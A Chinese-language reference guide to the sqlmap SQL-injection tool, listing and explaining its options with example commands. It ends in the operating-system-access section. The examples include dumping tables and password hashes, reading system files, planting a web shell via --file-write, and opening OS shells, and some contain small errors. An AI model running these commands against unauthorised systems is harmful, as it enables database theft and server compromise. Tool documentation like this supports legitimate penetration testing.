SQLmap
1.简介 原作者
sqlmap 是一个开源渗透测试工具,它可以自动检测和利用 SQL 注入漏洞并接管数据库服务器。它具有强大的检测引擎,同时有众多功能,包括数据库指纹识别、从数据库中获取数据、访问底层文件系统以及在操作系统上带内连接执行命令
sqlmap支持五种不同的注入模式:
-
1、基于布尔的盲注,可以根据返回页面判断条件真假的注入。
-
2、基于时间的盲注,不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行来判断。
-
3、基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
-
4、联合查询注入,可以使用union的情况下的注入。
-
5、堆查询注入,可以同时执行多条语句的执行时的注入。
sqlmap支持的数据库有
MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB
2.基本使用
sqlmap -u ["URL"] //测试是否存在注入
sqlmap -u ["URL"] --current-db //查询当前数据库
sqlmap -u ["URL"] -D ["数据库名"] --tables //查询当前数据库中的所有表
sqlmap -u ["URL"] -D ["数据库名"] -T ["表名"] --columns //查询指定库中指定表的所有列(字段)
sqlmap -u ["URL"] -D ["数据库名"] -T ["表名"] -C ["列名"] --dump //打印出指定库中指定表指定列中的字段内容
3. sqlmap选项
选项分类
sqlmap -hh
#参数的分类
1. Options -->选项
2. Target -->目标
3. Request -->请求
4. Optimization -->优化
5. Injection -->注入
6. Detection -->检测
7. Techniques -->技术
8. Fingerprint -->指纹识别
9. Enumeration -->枚举
10. Brute force -->暴力破解
11. User-defined function injection -->用户自定义函数注入
12. File system access -->访问文件系统
13. Operating system access -->访问操作系统
14. Windows registry access -->访问Windows注册表
15. General -->通用选项
16. Miscellaneous -->其他选项
4.参数
1. Options:
-h, --help Show basic help message and exit #查看基础帮助信息
-hh Show advanced help message and exit #查看全部帮助信息
--version Show program's version number and exit #显示程序的版本号
-v VERBOSE Verbosity level: 0-6 (default 1) #详细级别:0-6(默认为1)
0:只显示Python的回溯,错误和关键消息。
1:显示信息和警告消息。
2:显示Debug消息。
3:显示注入过程的payload。
4:显示HTTP请求包。
5:显示HTTP响应头。
6:显示HTTP响应页面的内容
2. Target:
-
At least one of these options has to be provided to define the target(s)
-
必须至少提供其中一个选项来定义目标
-u URL, --url=URL Target URL (e.g. "http://www.site.com/vuln.php?id=1") #目标url
-d DIRECT Connection string for direct database connection #直接连接数据库
-l LOGFILE Parse target(s) from Burp or WebScarab proxy log file #从Burp或者WebScarab加载一个日志文件
-m BULKFILE Scan multiple targets given in a textual file #从文本文件中获取批量目标
-r REQUESTFILE Load HTTP request from a file #从文件post请求方式的数据包并检测
-g GOOGLEDORK Process Google dork results as target URLs #使用 Google dork 结果作为目标
-c CONFIGFILE Load options from a configuration INI file #配置文件中加载选项
3. Request:
-
These options can be used to specify how to connect to the target URL
-
这些选项可用于指定如何连接到目标URL
-A AGENT, --user.. HTTP User-Agent header value
-H HEADER, --hea.. Extra header (e.g. "X-Forwarded-For: 127.0.0.1") #设置额外的 HTTP 头参数
--method=METHOD Force usage of given HTTP method (e.g. PUT) #强制使用提供的HTTP方法(例如:PUT)
--data=DATA Data string to be sent through POST (e.g. "id=1") #使用 POST 发送数据串
--param-del=PARA.. Character used for splitting parameter values (e.g. &) #设置参数值分隔符
--cookie=COOKIE HTTP Cookie header value (e.g. "PHPSESSID=a8d127e..") #指定HTTP Cookie
--cookie-del=COO.. Character used for splitting cookie values (e.g. ;) #设置 cookie 分隔符
--live-cookies=L.. Live cookies file used for loading up-to-date values #
--load-cookies=L.. File containing cookies in Netscape/wget format #指定以Netscape/wget格式存放cookies的文件
--drop-set-cookie Ignore Set-Cookie header from response #忽略HTTP响应中的Set-Cookie参数
--mobile Imitate smartphone through HTTP User-Agent header #使用HTTP User-Agent模仿智能手机
--random-agent Use randomly selected HTTP User-Agent header value #使用随机的HTTP User-Agent
--host=HOST HTTP Host header value #指定 HTTP Host
--referer=REFERER HTTP Referer header value #指定 HTTP Referer
--headers=HEADERS Extra headers (e.g. "Accept-Language: fr\nETag: 123") #设置额外的 HTTP 头参数
--auth-type=AUTH.. HTTP authentication type (Basic, Digest, Bearer, ...) # HTTP 认证方式
--auth-cred=AUTH.. HTTP authentication credentials (name:password) # HTTP 认证凭证
--auth-file=AUTH.. HTTP authentication PEM cert/private key file #HTTP 认证 PEM 证书/私钥文件
--ignore-code=IG.. Ignore (problematic) HTTP error code (e.g. 401) #忽略 HTTP 错误码
--ignore-proxy Ignore system default proxy settings #忽略系统默认代理设置
--ignore-redirects Ignore redirection attempts #忽略重定向尝试
--ignore-timeouts Ignore connection timeouts #忽略连接超时
--proxy=PROXY Use a proxy to connect to the target URL #使用代理连接目标 URL
--proxy-cred=PRO.. Proxy authentication credentials (name:password) #使用代理进行认证(username:password)
--proxy-file=PRO.. Load proxy list from a file #从文件中加载代理列表
--proxy-freq=PRO.. Requests between change of proxy from a given list #
--tor Use Tor anonymity network #使用 Tor 匿名网络
--tor-port=TORPORT Set Tor proxy port other than default #设置Tor代理端口代替默认端口
--tor-type=TORTYPE Set Tor proxy type (HTTP, SOCKS4 or SOCKS5 (default)) #设置Tor代理方式(http,socks4/5)
--check-tor Check to see if Tor is used properly #检查是否正确使用了Tor
--delay=DELAY Delay in seconds between each HTTP request #设置每个 HTTP 请求的延迟秒数
--timeout=TIMEOUT Seconds to wait before timeout connection (default 30) #设置连接响应的有效秒数(默认为30)
--retries=RETRIES Retries when the connection timeouts (default 3) #连接超时时重试次数(默认为 3)
--retry-on=RETRYON Retry request on regexp matching content (e.g. "drop") #
--randomize=RPARAM Randomly change value for given parameter(s) #随机更改给定的参数值
--safe-url=SAFEURL URL address to visit frequently during testing #测试过程中可频繁访问且合法的URL地址
--safe-post=SAFE.. POST data to send to a safe URL #使用 POST 方法发送合法的数据
--safe-req=SAFER.. Load safe HTTP request from a file #从文件中加载合法的 HTTP 请求
--safe-freq=SAFE.. Regular requests between visits to a safe URL #每访问两次给定的合法URL才发送一次测试请求
--skip-urlencode Skip URL encoding of payload data #跳过payload 数据进行 URL 编码
--csrf-token=CSR.. Parameter used to hold anti-CSRF token #设置网站用来反CSRF攻击的token
--csrf-url=CSRFURL URL address to visit for extraction of anti-CSRF token #指定可提取反 CSRF 攻击 token 的 URL
--csrf-method=CS.. HTTP method to use during anti-CSRF token page visit #
--csrf-retries=C.. Retries for anti-CSRF token retrieval (default 0) #
--force-ssl Force usage of SSL/HTTPS #强制使用 SSL/HTTPS
--chunked Use HTTP chunked transfer encoded (POST) requests
--hpp Use HTTP parameter pollution method #使用 HTTP 参数污染攻击
--eval=EVALCODE Evaluate provided Python code before the request (e.g."import hashlib;id2=hashlib.md5(id).hexdigest()")
4. Optimization:
-
These options can be used to optimize the performance of sqlmap
-
这些选项可以用来优化sqlmap的性能
-o Turn on all optimization switches #开启所有优化开关
--predict-output Predict common queries output #预测常用请求的输出
--keep-alive Use persistent HTTP(s) connections #使用持久的 HTTP(S) 连接
--null-connection Retrieve page length without actual HTTP response body #仅获取页面大小而非实际的HTTP响应
--threads=THREADS Max number of concurrent HTTP(s) requests (default 1) #设置 HTTP(S) 请求并发数最大值
5. Injection:
-
These options can be used to specify which parameters to test for,provide custom injection payloads and optional tampering scripts
-
这些选项可用于指定要测试哪些参数,提供自定义的注入有效载荷和可选的篡改脚本
-p TESTPARAMETER Testable parameter(s) #指定需要测试的参数
--skip=SKIP Skip testing for given parameter(s) #指定要跳过的参数
--skip-static Skip testing parameters that not appear to be dynamic #指定跳过非动态参数
--param-exclude=.. Regexp to exclude parameters from testing (e.g. "ses")#用正则表达式排除参数(例如:"ses")
--param-filter=P.. Select testable parameter(s) by place (e.g. "POST") #
--dbms=DBMS Force back-end DBMS to provided value #指定 DBMS 类型(例如:MySQL)
--dbms-cred=DBMS.. DBMS authentication credentials (user:password) #认证凭据(username:password)
--os=OS Force back-end DBMS operating system to provided value#指定DBMS服务器的操作系统类型
--invalid-bignum Use big numbers for invalidating values #将无效值设置为大数
--invalid-logical Use logical operations for invalidating values #对无效值使用逻辑运算
--invalid-string Use random strings for invalidating values #对无效值使用随机字符串
--no-cast Turn off payload casting mechanism #关闭 payload 构造机制
--no-escape Turn off string escaping mechanism #关闭字符串转义机制
--prefix=PREFIX Injection payload prefix string #注入 payload 的前缀字符串
--suffix=SUFFIX Injection payload suffix string #注入 payload 的后缀字符串
--tamper=TAMPER Use given script(s) for tampering injection data #用给定脚本修改注入数据
6. Detection:
-
These options can be used to customize the detection phase
-
这些选项可用于定制检测阶段
--level=LEVEL Level of tests to perform (1-5, default 1) #设置测试等级
--risk=RISK Risk of tests to perform (1-3, default 1) #设置测试风险等级
--string=STRING String to match when query is evaluated to True #用于确定查询结果为真时的字符串
--not-string=NOT.. String to match when query is evaluated to False #用于确定查询结果为假时的字符串
--regexp=REGEXP Regexp to match when query is evaluated to True #用于确定查询结果为真时的正则表达式
--code=CODE HTTP code to match when query is evaluated to True #用于确定查询结果为真时的HTTP状态码
--smart Perform thorough tests only if positive heuristic(s) #只有在使用启发式检测时才进行彻底的测试
--text-only Compare pages based only on the textual content #仅根据文本内容比较页面
--titles Compare pages based only on their titles #只根据页面标题对比页面
7. Techniques:
-
These options can be used to tweak testing of specific SQL injection techniques
-
这些选项可用于调整特定SQL注入技术的测试
--technique=TECH.. SQL injection techniques to use (default "BEUSTQ") #使用的SQL注入技术
--time-sec=TIMESEC Seconds to delay the DBMS response (default 5) #延迟 DBMS 的响应秒数(
--union-cols=UCOLS Range of columns to test for UNION query SQL injection #设置联合查询注入测试的列数目范围
--union-char=UCHAR Character to use for bruteforcing number of columns #用于暴力猜解列数的字符
--union-from=UFROM Table to use in FROM part of UNION query SQL injection #设置联合查询注入 FROM 处用到的表
--dns-domain=DNS.. Domain name used for DNS exfiltration attack #设置用于 DNS 渗出攻击的域名
--second-url=SEC.. Resulting page URL searched for second-order response #搜索二级响应的结果页面URL
--second-req=SEC.. Load second-order HTTP request from file #设置二阶响应的结果显示页面的 URL
8. Fingerprint:
-f, --fingerprint Perform an extensive DBMS version fingerprint #执行广泛的 DBMS 版本指纹识别
9. Enumeration:
-
These options can be used to enumerate the back-end database management system information, structure and data contained in the tables
-
这些选项可用于枚举后端数据库管理系统中包含的信息、结构和数据表
-a, --all Retrieve everything #获取所有信息、数据
-b, --banner Retrieve DBMS banner #获取DBMS banner
--current-user Retrieve DBMS current user #获取DBMS当前用户
--current-db Retrieve DBMS current database #获取DBMS当前数据库
--hostname Retrieve DBMS server hostname #获取DBMS当前主机名
--is-dba Detect if the DBMS current user is DBA #探测DBMS当前用户是否为DBA
--users Enumerate DBMS users #枚举出 DBMS 所有用户
--passwords Enumerate DBMS users password hashes #枚举出 DBMS 所有用户的密码哈希
--privileges Enumerate DBMS users privileges #枚举出 DBMS 所有用户特权级
--roles Enumerate DBMS users roles #枚举出 DBMS 所有用户角色
--dbs Enumerate DBMS databases #枚举出 DBMS 所有数据库
--tables Enumerate DBMS database tables #枚举出 DBMS 数据库中的所有表
--columns Enumerate DBMS database table columns #枚举出 DBMS 表中的所有列
--schema Enumerate DBMS schema #枚举出 DBMS 所有模式
--count Retrieve number of entries for table(s) #获取数据表数目
--dump Dump DBMS database table entries #导出 DBMS 数据库表项
--dump-all Dump all DBMS databases tables entries #导出所有 DBMS 数据库表项
--search Search column(s), table(s) and/or database name(s)#搜索列,表和/或数据库名
--comments Check for DBMS comments during enumeration #获取 DBMS 注释
--statements Retrieve SQL statements being run on DBMS #检索在DBMS上运行的SQL语句
-D DB DBMS database to enumerate #指定要枚举的 DBMS 数据库
-T TBL DBMS database table(s) to enumerate #指定要枚举的 DBMS 数据表
-C COL DBMS database table column(s) to enumerate #指定要枚举的 DBMS 数据列
-X EXCLUDE DBMS database identifier(s) to not enumerate #指定要排除的 DBMS 数据列
-U USER DBMS user to enumerate #指定枚举的 DBMS 用户
--exclude-sysdbs Exclude DBMS system databases when enumerating tables # 枚举所有数据表时,指定排除特定系统数据库
--pivot-column=P.. Pivot column name #指定主列
--where=DUMPWHERE Use WHERE condition while table dumping #在转储表时使用 WHERE 条件语句
--start=LIMITSTART First dump table entry to retrieve #指定要导出的数据表条目开始行数
--stop=LIMITSTOP Last dump table entry to retrieve #指定要导出的数据表条目结束行数
--first=FIRSTCHAR First query output word character to retrieve #指定获取返回查询结果的开始字符位
--last=LASTCHAR Last query output word character to retrieve #指定获取返回查询结果的结束字符位
--sql-query=SQLQ.. SQL statement to be executed #指定要执行的 SQL 语句
--sql-shell Prompt for an interactive SQL shell #调出交互式 SQL shell
--sql-file=SQLFILE Execute SQL statements from given file(s) # 执行文件中的 SQL 语句
10. Brute force
-
These options can be used to run brute force checks
-
这些选项可用于运行暴力破
--common-tables Check existence of common tables #检测常见的表名是否存在
--common-columns Check existence of common columns #检测常用的列名是否存在
--common-files Check existence of common files # 检测常用的文件是否存在
11. User-defined function injection
-
These options can be used to create custom user-defined functions
-
这些选项可用于创建自定义的用户定义函数
--udf-inject Inject custom user-defined functions #注入用户自定义函数
--shared-lib=SHLIB Local path of the shared library #共享库的本地路径
12. File system access
-
These options can be used to access the back-end database management system underlying file system
-
这些选项可用于访问后端数据库管理系统底层文件系统
--file-read=FILE.. Read a file from the back-end DBMS file system #读取后端 DBMS 文件系统中的文件
--file-write=FIL.. Write a local file on the back-end DBMS file system #写入后端 DBMS 文件系统中的文件
--file-dest=FILE.. Back-end DBMS absolute filepath to write to #使用文件绝对路径写入到后端 DBMS
13. Operating system access
-
These options can be used to access the back-end database management system underlying operating system
-
这些选项可用于访问后端数据库管理系统底层操作系统
--os-cmd=OSCMD Execute an operating system command #执行操作系统命令
--os-shell Prompt for an interactive operating system shell #调出交互式操作系统 shell
--os-pwn Prompt for an OOB shell, Meterpreter or VNC #调出OOB shell,Meterpreter或VNC
--os-smbrelay One click prompt for an OOB shell, Meterpreter or VNC#一键调出OOB shell,Meterpreter或VNC
--os-bof Stored procedure buffer overflow exploitation #利用存储过程的缓冲区溢出
--priv-esc Database process user privilege escalation #数据库进程用户提权
--msf-path=MSFPATH Local path where Metasploit Framework is installed #框架的本地安装路径
--tmp-path=TMPPATH Remote absolute path of temporary files directory # 远程临时文件目录的绝对路径
14. Windows registry access
-
These options can be used to access the back-end database management system Windows registry
-
这些选项可用于访问后端数据库管理系统Windows注册表
--reg-read Read a Windows registry key value #读取一个 Windows 注册表键值
--reg-add Write a Windows registry key value data #写入一个 Windows 注册表键值数据
--reg-del Delete a Windows registry key value #删除一个 Windows 注册表键值
--reg-key=REGKEY Windows registry key #指定 Windows 注册表键
--reg-value=REGVAL Windows registry key value #指定 Windows 注册表键值
--reg-data=REGDATA Windows registry key value data #指定 Windows 注册表键值数据
--reg-type=REGTYPE Windows registry key value type #指定 Windows 注册表键值类型
15. General
-
These options can be used to set some general working parameters
-
这些选项可用于设置一些常规工作参数
-s SESSIONFILE Load session from a stored (.sqlite) file #从文件(.sqlite)中读入会话信息
-t TRAFFICFILE Log all HTTP traffic into a textual file #保存所有HTTP流量记录到指定文本文件
--answers=ANSWERS Set predefined answers (e.g. "quit=N,follow=N") #
--base64=BASE64P.. Parameter(s) containing Base64 encoded data #
--base64-safe Use URL and filename safe Base64 alphabet (RFC 4648)#
--batch Never ask for user input, use the default behavior #从不询问用户输入,使用默认配置
--binary-fields=.. Result fields having binary values (e.g. "digest") #具有二进制值的结果字段
--check-internet Check Internet connection before assessing the target#在访问目标之前检查是否正常连接互联网
--cleanup Clean up the DBMS from sqlmap specific UDF and tables#
--crawl=CRAWLDEPTH Crawl the website starting from the target URL #从目标 URL 开始爬取网站
--crawl-exclude=.. Regexp to exclude pages from crawling (e.g. "logout")#用正则表达式筛选爬取的页面
--csv-del=CSVDEL Delimiting character used in CSV output (default ",")#指定输出到 CVS 文件时使用的分隔符
--charset=CHARSET Blind SQL injection charset (e.g. "0123456789abcdef")# 指定 SQL 盲注字符集
--dump-format=DU.. Format of dumped data (CSV (default), HTML or SQLITE)#导出数据的格式
--encoding=ENCOD.. Character encoding used for data retrieval (e.g. GBK)#指定获取数据时使用的字符编码
--eta Display for each output the estimated time of arrival# 显示每个结果输出的预计到达时间
--flush-session Flush session files for current target #清空当前目标的会话文件
--forms Parse and test forms on target URL #解析并测试目标 URL 的表单
--fresh-queries Ignore query results stored in session file #忽略存储在会话文件中的查询结果
--gpage=GOOGLEPAGE Use Google dork results from specified page number #
--har=HARFILE Log all HTTP traffic into a HAR file #将所有HTTP流量记录到一个HAR文件中
--hex Use hex conversion during data retrieval #获取数据时调用 DBMS 的 hex 函数
--output-dir=OUT.. Custom output directory path #自定义输出目录路径
--parse-errors Parse and display DBMS error messages from responses #从响应中解析并显示 DBMS 错误信息
--preprocess=PRE.. Use given script(s) for preprocessing (request) #
--postprocess=PO.. Use given script(s) for postprocessing (response) #
--repair Redump entries having unknown character marker (?) #
--save=SAVECONFIG Save options to a configuration INI file #将选项设置保存到一个 INI 配置文件
--scope=SCOPE Regexp for filtering targets #用正则表达式从提供的代理日志中过滤目标
--skip-heuristics Skip heuristic detection of vulnerabilities #
--skip-waf Skip heuristic detection of WAF/IPS protection #跳过启发式检测 WAF/IPS/IDS 保护
--table-prefix=T.. Prefix used for temporary tables (default: "sqlmap") #
--test-filter=TE.. Select tests by payloads and/or titles (e.g. ROW) #根据 payloads 和/或标题 选择测试
--test-skip=TEST.. Skip tests by payloads and/or titles (e.g. BENCHMARK)#根据 payloads 和/或标题跳过部分测试
--web-root=WEBROOT Web server document root directory (e.g. "/var/www") #
16. Miscellaneous
-
These options do not fit into any other category
-
这些选项不属于任何其他类别
-z MNEMONICS Use short mnemonics (e.g. "flu,bat,ban,tec=EU") #使用短助记符
--alert=ALERT Run host OS command(s) when SQL injection is found #在找到SQL注入时运行 OS 命令
--beep Beep on question and/or when vulnerability is found #出现问题提醒或在发现SQL注入时发出提示音
--dependencies Check for missing (optional) sqlmap dependencies #检查sqlmap缺少什么(非核心)依赖
--disable-coloring Disable console output coloring #关闭彩色控制台输出
--list-tampers Display list of available tamper scripts #显示可用篡改脚本的列表
--offline Work in offline mode (only use session data) #在离线模式下工
--purge Safely remove all content from sqlmap data directory#安全删除sqlmap数据目录中的所有内容
--results-file=R.. Location of CSV results file in multiple targets mode#
--shell Prompt for an interactive sqlmap shell #交互式sqlmap shell的提示符
--tmp-dir=TMPDIR Local directory for storing temporary files #指定用于存储临时文件的本地目录
--unstable Adjust options for unstable connections #调整不稳定连接的选项
--update Update sqlmap #更新sqlmap
--wizard Simple wizard interface for beginner users #适合初级用户的向导界面
5.参数说明
Options
-h, --help 查看帮助,没什么好说的
-hh 查看全部的帮助
--version 查看版本
-v 显示信息的级别,一共有六级:0:只显示python 错误和一些严重信息;1:显示基本信息(默认);2:显示debug信息;3:显示注入过程的payload;4:显示http请求包;5:显示http响应头;7:显示http相应页面。
Target
-d 直接连目标后端接数据库,而不是使用sql注入漏洞,直接通过目标的侦听端口连接,当然需要有目标数据库的账号名和密码。例:-d "mysql://user:password@192.168.75.128:3389/databasename" --dbs 查询非常快。
-u 指定一个url连接,url中必须有?xx=xx 才行(最常用的参数)例:-u "www.abc.com/index.php?id=1"
-l 后接一个log文件,可以是burp等的代理的log文件,之后sqlmap会扫描log中的所有记录。例: -l log.txt
-x 站点地图,提交给sql一个xml文件。
-m 后接一个txt文件,文件中是多个url,sqlmap会自动化的检测其中的所有url。例: -m target.txt
-r 可以将一个post请求方式的数据包保存在一个txt中,sqlmap会通过post方式检测目标。例: -r post.txt
-g 使用google引擎搜索类似的网址,并且多目标检测。例: -g "inurl:\".php?id=1\"" \是转义
-c 将使用的命令写在一个文件中,让sqlmap执行文件中的命令,我们可以用--save命令将配置写入文件。
Request
--method=METHOD 指定是get方法还是post方法。例: --method=GET --method=POST
--data=DATA 指明参数是哪些。例:-u "www.abc.com/index.php?id=1" --data="name=1&pass=2"
--param-del=PARA. 指明使用的变量分割符。例: -u "www.abc.com/index.php?id=1" --data="name=1;pass=2" --param-del=";"
--cookie=COOKIE 指定测试时使用的cookie,通常在一些需要登录的站点会使用。例: -u "www.abc.com/index.php?id=1" --cookie="a=1;b=2"
--cookie-del=COO.. 和前面的 --param-del=PARA. 类似,就是指明分割cookie的字符。
--load-cookies=L.. 从包含Netscape / wget格式的cookie的文件中加载cookie。
--drop-set-cookie 默认情况下,sqlmap是开启set-cookie功能的,也就是当收到一个含有set-cookie的http包的时候,下次sql会使用新的cookie进行发包,如果使用这条命令,就会关闭这个功能。在level>=2时会检测cookie注入。
--user-agent=AGENT 指定一个user-agent的值进行测试。例: --user-agent="aaaaaaa" 默认情况下,sqlmap会使用自己的user-agent进行测试(所以很多服务器发现user-agent是sqlmap的数据包直接认为是入侵),sqlmap自己的user-agent是:sqlmap/1.0-dev-nongit-201603020a89(http://sqlmap.org)
--random-agent 使用随机user-agent进行测试。sqlmap有一个文件中储存了各种各样的user-agent,文件在sqlmap/txt/user-agent.txt 在level>=3时会检测user-agent注入。
--host=HOST 指定http包中的host头参数。例: --host="aaaaaa" 在level>=5时才会检查host头注入。\n是换行
--referer=REFERER 指定http包中的refere字段。例: --refere="aaaaa" 在level>=3时才会检测refere注入。
-H --headers 额外的header头,每个占一行。例:--headers="host:www.a.com\nUser-Agent:yuangh"
--headers=HEADERS 跟上边一样,再举一个例子: --headers="Accept-Language: fr\nETag: 123" 注意所有构造http包的部分均区分大小写
--auth-type=AUTH.. 基于http身份验证的种类。例: --auth-type Basic/Digest/NTLM 一共有三种认证方式。
--auth-cred=AUTH.. 使用的认证,例: --auth-type Basic --auth-cred "user:password"
--auth-file=AUTH.. 使用.PEM文件中的认证。例:--auth-file="AU.PEM" 少见。
--ignore-code=IG.. 无视http状态码。例: --ignore-code=401
--ignore-proxy 无视本地的代理,有时候机器会有最基本的代理配置,在扫描本地网段的时候会很麻烦,使用这个参数可以忽略代理设置。
--ignore-redirects 无视http重定向,比如登录成功会跳转到其他网页,可使用这个忽略掉。
--ignore-timeouts 忽略连接超时。
--proxy=PROXY 指定一个代理。例: --proxy="127.0.0.1:8087" 使用GoAgent代理。
--proxy-cred=PRO.. 代理需要的认证。例: --proxy="name:password"
--proxy-file=PRO.. 从一个文件加载代理的认证。
--tor 使用tor匿名网络,不懂。
--tor-port=TORPORT 设置默认的tor代理端口,不懂+2。
--tor-type=TORTYPE 设置tor代理种类,(HTTP, SOCKS4 or SOCKS5 (默认)),不懂+3。
--check-tor 检查是否正确使用Tor,不懂+4。
--delay=DELAY 每次发包的延迟时间,单位为秒,浮点数。例:--delay 2.5 有时候频繁的发包会引起服务器注意,需要使用delay降低发包频率。
--timeout=TIMEOUT 请求超时的时间,单位为秒,浮点数,默认30s。
--retries=RETRIES 超时重连次数,默认三次。例: --retries=5
--randomize=RPARAM 参数的长度,类型与输入值保持一致的前提下,每次请求换参数的值。有时候反复的提交同一个参数会引起服务器注意。
--safe-url=SAFEURL 用法和-u类似,就是一个加载测试url的方法,但额外功能是防止有时候时间长了不通讯服务器会销毁session,开启这种功能会隔一段时间发一个包保持session。
--safe-post=SAFE.. 和上面的一样,只是使用post的方式发送数据。
--safe-req=SAFER.. 和上面的一样,只是从一个文件获得目标。
--safe-freq=SAFE.. 频繁的发送错误的请求,服务器也会销毁session或者其他惩罚方式,开启这个功能之后,发几次错的就会发一次对的。通常用于盲注。
--skip-urlencode 跳过url编码,毕竟不排除有的奇葩网站url不遵守RFC标准编码。
--csrf-token=CSR.. 保持csrf令牌的token。
--csrf-url=CSRFURL 访问url地址获取csrf的token。
--force-ssl 强制使用ssl。
--hpp 使用http参数污染,通常http传递参数会以名称-值对的形势出现,通常在一个请求中,同样名称的参数只会出现一次。但是在HTTP协议中是允许同样名称的参数出现多次的,就可能造成参数篡改。
--eval=EVALCODE 执行一段指定的python代码。例: -u "www.abc.com/index.php?id=1" --eval="import hashlib;hash=hashlib.md5(id).hexdigest()"
Optimization
-o 开启下面三项(--predict-output,--keep-alive, --null-connection)
--predict-output 预设的输出,可以理解为猜一个表存在不存在,根据服务器返回值来进行判断,有点类似暴力破解,但和暴力破解又不同,这个是一个范围性的暴力破解,一次一次的缩小范围。
--keep-alive 使用http(s)长链接,性能更好,避免重复建立链接的开销,但占用服务器资源,而且与--proxy不兼容。
--null-connection 只看页面返回的大小值,而不看具体内容,通常用于盲注或者布尔的判断,只看对错,不看内容。
--threads=THREADS 开启多线程,默认为1,最大10。和 --predict-output 不兼容。
Injection
-p TESTPARAMETER 知道测试的参数,使用这个的话--level 参数就会失效。例: -p "user-agent,refere"
--skip=SKIP 排除指定的参数。例: --level 5 --skip="id,user-agent"
--skip-static 跳过测试静态的参数。
--param-exclude=.. 使用正则表达式跳过测试参数。
--dbms=DBMS 指定目标数据库类型。例: --dbms="MySQL<5.0>" Oracle<11i> Microsoft SQL Server<2005>
--dbms-cred=DBMS.. 数据库的认证。利: --dbms-cred="name:password"
--os=OS 指定目标操作系统。例: --os="Linux/Windows"
--invalid-bignum 通常情况下sqlmap使用负值使参数失效,比如id=1->id=-1,开启这个之后使用大值使参数失效,如id=9999999999。
--invalid-logical 使用逻辑使参数失效,如id=1 and 1=2。
--invalid-string 使用随机字符串使参数失效。
--no-cast 获取数据时,sqlmap会将所有数据转换成字符串,并用空格代替null。
--no-escape 用于混淆和避免出错,使用单引号的字符串的时候,有时候会被拦截,sqlmap使用char()编码。例如:select “a”-> select char(97)。
--prefix=PREFIX 指定payload前缀,有时候我们猜到了服务端代码的闭合情况,需要使用这个来指定一下。例: -u "www.abc.com/index?id=1" -p id --prefix")" --suffix "and ('abc'='abc"
--suffix=SUFFIX 指定后缀,例子同上。
--tamper=TAMPER 使用sqlmap自带的tamper,或者自己写的tamper,来混淆payload,通常用来绕过waf和ips。
Detection
--level=LEVEL 设置测试的等级(1-5,默认为1)lv2:cookie; lv3:user-agent,refere; lv5:host 在sqlmap/xml/payloads文件内可以看见各个level发送的payload
--risk=RISK 风险(1-4,默认1)升高风险等级会增加数据被篡改的风险。risk 2:基于事件的测试;risk 3:or语句的测试;risk 4:update的测试
--string=STRING 在基于布尔的注入时,有的时候返回的页面一次一个样,需要我们自己判断出标志着返回正确页面的标志,会根据页面的返回内容这个标志(字符串)判断真假,可以使用这个参数来制定看见什么字符串就是真。
--not-string=NOT.. 同理,这个参数代表看不见什么才是真。
--regexp=REGEXP 通常和上面两种连用,使用正则表达式来判断。
--code=CODE 也是在基于布尔的注入时,只不过指定的是http返回码。
--text-only 同上,只不过指定的是页面里的一段文本内容。
--titles 同上,只不过指定的是页面的标题。
Techniques
--technique=TECH 指定所使用的技术(B:布尔盲注;E:报错注入;U:联合查询注入;S:文件系统,操作系统,注册表相关注入;T:时间盲注; 默认全部使用)
--time-sec=TIMESEC 在基于时间的盲注的时候,指定判断的时间,单位秒,默认5秒。
--union-cols=UCOLS 联合查询的尝试列数,随level增加,最多支持50列。例: --union-cols 6-9
--union-char=UCHAR 联合查询默认使用的占列的是null,有些情况null可能会失效,可以手动指定其他的。例: --union-char 1
--union-from=UFROM 联合查询从之前的查询结果中选择列,和上面的类似。
--dns-domain=DNS.. 如果你控制了一台dns服务器,使用这个可以提高效率。例: --dns-domain 123.com
--second-order=S.. 在这个页面注入的结果,在另一个页面显示。例: --second-order 1.1.1.1/b.php
Fingerprint
-f, --fingerprint 指纹信息,返回DBMS,操作系统,架构,补丁等信息。
Enumeration
-a, --all 查找全部,很暴力。直接用-a
-b, --banner 查找数据库管理系统的标识。直接用-b
--current-user 当前用户,常用,直接用--current-user
--current-db 当前数据库,常用,直接用--current-db
--hostname 主机名,直接用--hostname
--is-dba
--users 查询一共都有哪些用户,常用,直接用--users
--passwords 查询用户密码的哈希,常用,直接用--passwords
--privileges 查看特权,常用。例: --privileges -U username (CU 就是当前用户)
--roles 查看一共有哪些角色(权限),直接用--roles
--dbs 目标服务器中有什么数据库,常用,直接用--dbs
--tables 目标数据库有什么表,常用,直接用--tables
--columns 目标表中有什么列,常用,直接用--colums
--schema 目标数据库数据库系统管理模式。
--count 查询结果返回一个数字,即多少个。
--dump 查询指定范围的全部数据。例: --dump -D admin -T admin -C username
--dump-all 查询全部数据。例: --dump-all --exclude-sysdbs
--search 搜索列、表和/或数据库名称。
--comments 检索数据库的备注。
-D DB 指定从某个数据库查询数据,常用。例: -D admindb
-T TBL 指定从某个表查询数据,常用。例: -T admintable
-C COL 指定从某个列查询数据,常用。例: -C username
-X EXCLUDE 指定数据库的标识符。
-U USER 一个用户,通常和其他连用。例: --privileges -U username (CU 就是当前用户)
--exclude-sysdbs 除了系统数据库。
--pivot-column=P.. 枢轴列名,不懂。
--where=DUMPWHERE 在dump表时使用where限制条件。
--start=LIMITSTART 设置一个起始,通常和--dunmp连用。
--stop=LIMITSTOP 同上,设置一个结束。
--first=FIRSTCHAR 以第一个查询输出的字符检索,不懂。
--last=LASTCHAR 以最后一个查询输出的字符检索,不懂+2。
--sql-query=QUERY 执行一个sql语句。
--sql-shell 创建一个sql的shell。
--sql-file=SQLFILE 执行一个给定文件中的sql语句
Brute force
--common-tables 检查有没有记录表信息的公共表,比如mysql>=5.0会有一个information_schema库,储存了整个数据库的基本信息。有这个会方便很多。
--common-columns 有没有记录公共列的表,比如Access就没有列信息。这两种方法都会使用暴力破解。
User-defined function injection
--udf-inject 编译共享库创建并上传至DB Server,生成UDF实现高级注入,不懂。
--shared-lib=SHLIB 同上,不懂。
File system access
--file-read=RFILE 读取目标站点的一个文件。例: --file-read="/etc/password"
--file-write=WFILE 写入到目标站点的一个文件,通常和--sql-query 连用。例: --sql-query="select "一句话木马" --file-write="shell.php"
--file-dest=DFILE 同上,只是使用绝对路径写入。
Operating system access
--os-cmd=OSCMD 执行一句系统命令。例: --os-shell="ipconfig -all"
